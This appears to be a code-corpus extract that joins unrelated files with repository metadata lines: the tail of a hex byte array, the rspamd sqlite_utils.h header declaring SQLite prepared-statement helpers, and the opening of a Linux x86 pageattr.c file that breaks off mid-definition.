0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X05, 0XAC, 0XCC, 0X82, 0X00, 0XA8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X28, 0X8A, 0X8A, 0XCC, 0XF0, 0X00, 0X00, 0X00, 0X00, 0X28, 0X88, 0XCF, 0X20, 0X00, 0X00, 0X00, 0X22, 0X33, 0X35, 0X88, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0XA8, 0XAA, 0XAA, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X32, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X23, 0X35, 0X66, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X65, 0X33, 0X20, 0X00, 0X00, 0X00, 0X00, 0X8C, 0XAC, 0XCA, 0X20, 0X05, 0XA8, 0X86, 0XC8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X38, 0X86, 0X53, 0X20, 0X00, 0X00, 0X00, 0X00, 0X02, 0X5A, 0XCC, 0XCC, 0X82, 0X00, 0X00, 0XA8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X38, 0X8A, 0X8C, 0XCC, 0X60, 0X00, 0X00, 0X00, 0X00, 0X38, 0X6C, 0XCC, 0X30, 0X00, 0X00, 0X00, 0X02, 0X33, 0X35, 0X88, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X88, 0X88, 0X88, 0XAA, 0XAC, 0XCC, 0XCC, 0X8A, 0XAA, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X33, 0X33, 0X00, 0X00, 0X00, 0X00, 0X00, 0X55, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X22, 0X33, 0X33, 0X33, 0X32, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X6A, 0X88, 0XAF, 0XC8, 0X06, 0X88, 0X8A, 0XC5, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X05, 0XA8, 0X22, 0X33, 0X56, 0X8A, 0XCC, 0XCC, 0XCA, 0X30, 0X00, 0X00, 0X00, 0X86, 0X00, 0X00, 0X00, 0X00, 0X00, 0X38, 0X88, 0X8A, 0XCC, 0X00, 0X00, 0X00, 0X00, 0X00, 0X38, 0X8C, 0XCA, 0X80, 0X00, 0X00, 0X00, 0X02, 0X33, 0X53, 0X88, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X58, 0X68, 0X88, 0X8A, 0XAA, 0XCC, 0XCC, 0X8A, 0XAA, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3C, 0XCA, 0X86, 0X60, 0X00, 0X00, 0X00, 0X35, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0X88, 0X56, 0XCF, 0XC8, 0X68, 0X8A, 0XC6, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X68, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0X63, 0X00, 0X00, 0X00, 0X00, 0X00, 0X53, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0X88, 0X8A, 0XC6, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0X8C, 0XCA, 0X82, 0X00, 0X00, 0X00, 0X02, 0X33, 0X53, 0X88, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X65, 0X66, 0X6A, 0XAA, 0XAA, 0XCC, 0X65, 0X8A, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0XCC, 0XA8, 0X66, 0X30, 0X00, 0X00, 0X05, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X35, 0X33, 0X35, 0XCC, 0XA6, 0X88, 0XCA, 0X00, 0X00, 0X00, 0X03, 0X6A, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XA8, 0X86, 0X53, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X68, 0X62, 0X00, 0X00, 0X00, 0X00, 0X06, 0X88, 0X8A, 0XC2, 0X00, 0X00, 0X00, 0X00, 0X00, 0X26, 0XAC, 0XAA, 0X86, 0X00, 0X00, 0X00, 0X02, 0X33, 0X53, 0X88, 0XA6, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X35, 0X33, 0X38, 0XAA, 0XAA, 0XAA, 0XA8, 0XA8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X32, 0X00, 0X00, 0XAF, 0XCC, 0XA8, 0X68, 0X00, 0X00, 0X00, 0X33, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X36, 0X68, 0X66, 0X53, 0X38, 0XC8, 0X68, 0XCA, 0X00, 0X02, 0X5A, 0XCC, 0XCC, 0XA8, 0X53, 0X22, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0XAA, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X05, 0X68, 0X8A, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X06, 0X8C, 0XA8, 0X88, 0X30, 0X00, 0X00, 0X02, 0X23, 0X53, 0X58, 0XAA, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X33, 0X35, 0X8A, 0XAA, 0XAA, 0X85, 0X68, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0XCC, 0XCC, 0X80, 0X00, 0XCA, 0XCA, 0XA8, 0X66, 0X00, 0X00, 0X00, 0X30, 0X00, 0X00, 0X00, 0X00, 0X03, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0X8A, 0XAA, 0XAA, 0XA8, 0X53, 0X6A, 0X68, 0XC8, 0X03, 0XAC, 0XCA, 0X83, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0XAC, 0XCC, 0XC8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X68, 0X68, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X6C, 0XA8, 0X68, 0X63, 0X00, 0X00, 0X00, 0X23, 0X35, 0X38, 0X8A, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X33, 0X88, 0XAA, 0XAA, 0X65, 0X88, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X0C, 0XCA, 0XA8, 0XA2, 0X00, 0X8A, 0XAA, 0XA8, 0X58, 0X00, 0X00, 0X05, 0XAC, 0X60, 0X00, 0X00, 0X25, 0X50, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X68, 0XAC, 0XCC, 0XCC, 0XCC, 0XA8, 0X55, 0X6A, 0XA5, 0X68, 0X86, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X2A, 0XCC, 0XFF, 0XCA, 0X50, 0X00, 0X00, 0X00, 0X00, 0X28, 0X88, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3A, 0XC8, 0X65, 0X66, 0X52, 0X00, 0X00, 0X22, 0X35, 0X36, 0X8A, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X5A, 0X8A, 0XAA, 0X23, 0X38, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X0A, 0XCA, 0XAA, 0X8A, 0X50, 0X88, 0X88, 0X88, 0X55, 0X60, 0X02, 0XCF, 0XA5, 0X33, 0X33, 0X55, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X88, 0XAC, 0XA2, 0X00, 0X00, 0X03, 0X86, 0X66, 0X55, 0X52, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X5A, 0XCC, 0XFF, 0XCC, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X68, 0X82, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0XA8, 0X86, 0X35, 0X66, 0X52, 0X00, 0X02, 0X33, 0X53, 0X88, 0XA2, 0X00, 0X00, 0X00, 0X22, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0XA8, 0XAA, 0XA8, 0X88, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XCA, 0XAA, 0X88, 0XAA, 0X65, 0X68, 0X88, 0X65, 0X33, 0X3A, 0XFC, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X68, 0XAA, 0X00, 0X23, 0X33, 0X33, 0X38, 0X88, 0XAA, 0XCC, 0X83, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3A, 0XCC, 0XCC, 0XCC, 0XA6, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X83, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3A, 0X88, 0X85, 0X35, 0X66, 0X65, 0X32, 0X23, 0X33, 0X36, 0X88, 0X00, 0X23, 0X8C, 0X60, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8A, 0X8A, 0XAA, 0X88, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8C, 0XAA, 0XAA, 0X88, 0XAA, 0XA8, 0X86, 0X65, 0X55, 0X5C, 0XFC, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X50, 0X26, 0X8A, 0XAC, 0XC6, 0X38, 0XCC, 0XA8, 0X8A, 0XCC, 0XC5, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X06, 0XAC, 0XCC, 0XCC, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X6A, 0X88, 0X85, 0X55, 0X56, 0X68, 0X88, 0X88, 0X88, 0X8A, 0XAC, 0XCF, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X28, 0XA8, 0XA8, 0X88, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X6C, 0XAA, 0XAA, 0XAA, 0XA8, 0X8A, 0XAA, 0XAA, 0XAA, 0X8C, 0XFF, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X68, 0XAC, 0XF8, 0X00, 0X08, 0X88, 0XC8, 0X56, 0X6A, 0XCF, 0XC8, 0X33, 0X33, 0X82, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X5A, 0XC3, 0XCA, 0X60, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X38, 0XAA, 0X88, 0X88, 0X66, 0X66, 0X88, 0X8A, 0XAC, 0XCC, 0X50, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X88, 0X88, 0X88, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X0A, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0XAA, 0XA8, 0X88, 0X88, 0XCF, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X28, 0XAA, 0X20, 0X00, 0X8C, 0X85, 0XCC, 0X55, 0X66, 0X68, 0XAC, 0XCC, 0XCA, 0XC2, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X05, 0XA2, 0XA6, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X58, 0X8A, 0XAA, 0XCC, 0XCC, 0XAA, 0X86, 0X68, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X05, 0X88, 0X88, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X28, 0XAA, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XA5, 0XAF, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0XCC, 0XCC, 0XCF, 0XCA, 0X65, 0XAC, 0X36, 0X88, 0X88, 0X8A, 0XAA, 0XAC, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X22, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X33, 0X33, 0X85, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X05, 0X88, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X55, 0X38, 0XAC, 0XCC, 0X88, 0XA8, 0X63, 0X35, 0XAC, 0X60, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X0A, 0XAA, 0XCC, 0XCC, 0XA8, 0X35, 0XAC, 0X20, 0X38, 0XCC, 0XCC, 0XCC, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X33, 0X33, 0X52, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XA8, 0X66, 0X55, 0X53, 0X55, 0X35, 0X56, 0X68, 0XAC, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X88, 0X88, 0X85, 0X22, 0X66, 0XAC, 0X60, 0X00, 0X00, 0X22, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X23, 0X32, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8C, 0XAA, 0XA8, 0X88, 0X88, 0X88, 0XAA, 0XA3, 0X3A, 0XA2, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XAA, 0X8A, 0XC8, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X53, 0X6C, 0XAA, 0X8A, 0XAA, 0X32, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0XCA, 0XAA, 0XA8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X68, 0X88, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, };
a8627d1c935fa0d5ece3c178fe030d144f1483bb
bb157fd805d63dc4cb6d6bfb7cd120f519bc17c1
/src/libutil/sqlite_utils.h
5411a476ed04b66506c7e0cc218db6c10af24ed8
[ "Apache-2.0" ]
permissive
rspamd/rspamd
faffd25f1c084400839589e576a911db1d7d6089
c4e54b4daa77bee29862a00900bede165ea16b52
refs/heads/master
2023-08-30T23:40:52.860552
2023-08-29T18:20:25
2023-08-29T18:20:25
9,549,081
1,039
291
NOASSERTION
2023-09-13T10:17:46
2013-04-19T16:00:18
C
UTF-8
C
false
false
2,244
h
sqlite_utils.h
/*- * Copyright 2016 Vsevolod Stakhov * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef SRC_LIBUTIL_SQLITE_UTILS_H_ #define SRC_LIBUTIL_SQLITE_UTILS_H_ #include "config.h" #include "mem_pool.h" #include "sqlite3.h" #define RSPAMD_SQLITE3_STMT_MULTIPLE (1 << 0) #ifdef __cplusplus extern "C" { #endif struct rspamd_sqlite3_prstmt { gint idx; const gchar *sql; const gchar *args; sqlite3_stmt *stmt; gint result; const gchar *ret; gint flags; }; /** * Create prepared statements for specified database from init statements * @param db * @param max_idx * @param err * @return new prepared statements array or NULL */ GArray *rspamd_sqlite3_init_prstmt(sqlite3 *db, struct rspamd_sqlite3_prstmt *init_stmt, gint max_idx, GError **err); /** * Run prepared statements by its index getting parameters and setting results from * varargs structure * @param db * @param stmts * @param idx * @return */ gint rspamd_sqlite3_run_prstmt(rspamd_mempool_t *pool, sqlite3 *db, GArray *stmts, gint idx, ...); /** * Close and free prepared statements * @param db * @param stmts */ void rspamd_sqlite3_close_prstmt(sqlite3 *db, GArray *stmts); /** * Creates or opens sqlite database trying to share it between processes * @param path * @param create_sql * @return */ sqlite3 *rspamd_sqlite3_open_or_create(rspamd_mempool_t *pool, const gchar *path, const gchar *create_sql, guint32 version, GError **err); /** * Sync sqlite3 db ensuring that all wal things are done * @param db */ gboolean rspamd_sqlite3_sync(sqlite3 *db, gint *wal_frames, gint *wal_checkpoints); #ifdef __cplusplus } #endif #endif /* SRC_LIBUTIL_SQLITE_UTILS_H_ */
16eda3645c23d4065d382fca2de98f924c7ca9eb
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
/SOFTWARE/A64-TERES/linux-a64/arch/x86/mm/pageattr.c
aabdf762f5921e95063edef2272947fc872482a9
[ "Linux-syscall-note", "GPL-2.0-only", "GPL-1.0-or-later", "LicenseRef-scancode-free-unknown", "Apache-2.0" ]
permissive
OLIMEX/DIY-LAPTOP
ae82f4ee79c641d9aee444db9a75f3f6709afa92
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
refs/heads/rel3
2023-08-04T01:54:19.483792
2023-04-03T07:18:12
2023-04-03T07:18:12
80,094,055
507
92
Apache-2.0
2023-04-03T07:05:59
2017-01-26T07:25:50
C
UTF-8
C
false
false
36,207
c
pageattr.c
/* * Copyright 2002 Andi Kleen, SuSE Labs. * Thanks to Ben LaHaise for precious feedback. */ #include <linux/highmem.h> #include <linux/bootmem.h> #include <linux/module.h> #include <linux/sched.h> #include <linux/mm.h> #include <linux/interrupt.h> #include <linux/seq_file.h> #include <linux/debugfs.h> #include <linux/pfn.h> #include <linux/percpu.h> #include <linux/gfp.h> #include <linux/pci.h> #include <asm/e820.h> #include <asm/processor.h> #include <asm/tlbflush.h> #include <asm/sections.h> #include <asm/setup.h> #include <asm/uaccess.h> #include <asm/pgalloc.h> #include <asm/proto.h> #include <asm/pat.h> /* * The current flushing context - we pass it instead of 5 arguments: */ struct cpa_data { unsigned long *vaddr; pgprot_t mask_set; pgprot_t mask_clr; int numpages; int flags; unsigned long pfn; unsigned force_split : 1; int curpage; struct page **pages; }; /* * Serialize cpa() (for !DEBUG_PAGEALLOC which uses large identity mappings) * using cpa_lock. So that we don't allow any other cpu, with stale large tlb * entries change the page attribute in parallel to some other cpu * splitting a large page entry along with changing the attribute. */ static DEFINE_SPINLOCK(cpa_lock); #define CPA_FLUSHTLB 1 #define CPA_ARRAY 2 #define 